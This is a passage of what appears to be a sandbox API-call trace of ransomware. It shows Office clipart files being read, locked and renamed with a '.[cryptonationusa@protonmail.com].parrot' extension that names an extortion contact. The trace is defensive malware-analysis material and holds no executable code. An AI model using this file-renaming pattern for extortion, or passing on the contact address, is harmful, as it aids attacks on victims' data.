lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.641] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x275d, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.641] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.641] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.644] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.644] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2645, lpOverlapped=0x0) returned 1 [0144.645] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.648] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x275d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.648] CloseHandle (hObject=0x288) returned 1 [0144.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.652] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17eb, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.652] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.653] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16d3, lpOverlapped=0x0) returned 1 [0144.654] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.655] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17eb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.655] CloseHandle (hObject=0x288) returned 1 [0144.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.658] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x170e, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.658] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.659] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.661] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15f6, lpOverlapped=0x0) returned 1 [0144.661] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.661] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x170e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.662] CloseHandle (hObject=0x288) returned 1 [0144.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.665] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11a8, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.665] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.666] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1090, lpOverlapped=0x0) returned 1 [0144.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.667] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11a8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.668] CloseHandle (hObject=0x288) returned 1 [0144.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.671] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.671] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.671] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.672] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.672] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31e2, lpOverlapped=0x0) returned 1 [0144.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.674] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.674] CloseHandle (hObject=0x288) returned 1 [0144.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.677] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1bf8, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.677] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.677] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.679] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.679] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1ae0, lpOverlapped=0x0) returned 1 [0144.682] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.682] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1bf8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.683] CloseHandle (hObject=0x288) returned 1 [0144.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.686] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x515c, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.686] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.687] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.688] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5044, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5044, lpOverlapped=0x0) returned 1 [0144.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.689] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x515c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.689] CloseHandle (hObject=0x288) returned 1 [0144.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00042_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00042_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.693] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b5a, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.693] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.693] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.695] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.695] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2a42, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2a42, lpOverlapped=0x0) returned 1 [0144.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.696] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2b5a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.696] CloseHandle (hObject=0x288) returned 1 [0144.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00057_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00057_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.700] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfc2, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.700] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.700] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.701] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.701] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeaa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeaa, lpOverlapped=0x0) returned 1 [0144.702] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.702] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfc2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.702] CloseHandle (hObject=0x288) returned 1 [0144.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00058_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00058_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.706] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x143c, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.706] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.706] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.707] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.708] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1324, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1324, lpOverlapped=0x0) returned 1 [0144.718] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.718] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x143c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.718] CloseHandle (hObject=0x288) returned 1 [0144.718] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00068_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00068_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.722] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x149c, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.722] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.727] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.728] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1384, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1384, lpOverlapped=0x0) returned 1 [0144.732] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.732] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x149c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.732] CloseHandle (hObject=0x288) returned 1 [0144.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00238_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00238_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.735] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x97c, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.735] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.738] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x864, lpOverlapped=0x0) returned 1 [0144.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.738] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x97c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.738] CloseHandle (hObject=0x288) returned 1 [0144.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00330_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00330_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.741] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128a, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.742] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.742] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.743] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.743] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1172, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1172, lpOverlapped=0x0) returned 1 [0144.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.745] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x128a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.745] CloseHandle (hObject=0x288) returned 1 [0144.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00388_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00388_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.750] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21e2, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0144.750] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0144.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.754] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20ca, lpOverlapped=0x0) returned 1 [0144.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.756] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21e2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0144.756] CloseHandle (hObject=0x288) returned 1 [0144.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00389_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00389_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0144.759] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22da, nNumberOfBytesToLockHigh=0x0) returned 1 [0144.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, 